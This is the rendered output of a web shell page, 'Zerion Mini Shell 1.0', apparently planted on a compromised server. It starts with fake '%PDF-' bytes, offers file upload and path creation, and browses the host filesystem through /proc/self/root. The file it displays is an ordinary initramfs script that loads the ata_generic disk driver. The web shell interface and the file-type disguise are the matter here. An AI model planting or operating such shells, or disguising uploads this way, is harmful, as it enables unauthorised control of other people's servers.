%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/usr/share/initramfs-tools/scripts/init-top/
Upload File :
Create Path :
Current File : //proc/self/root/usr/share/initramfs-tools/scripts/init-top/all_generic_ide

#!/bin/sh

PREREQ=""
prereqs()
{
	echo "$PREREQ"
}
case $1 in
# get pre-requisites
prereqs)
	prereqs
	exit 0
	;;
esac

# shellcheck disable=SC2013
for x in $(cat /proc/cmdline); do
	case ${x} in
	all_generic_ide)
		modprobe ata_generic all_generic_ide=1
		;;
	all_generic_ide=*)
		if [ -n "${x#all_generic_ide=}" ]; then
			modprobe ata_generic all_generic_ide=1
		fi
		;;
	esac
done

Zerion Mini Shell 1.0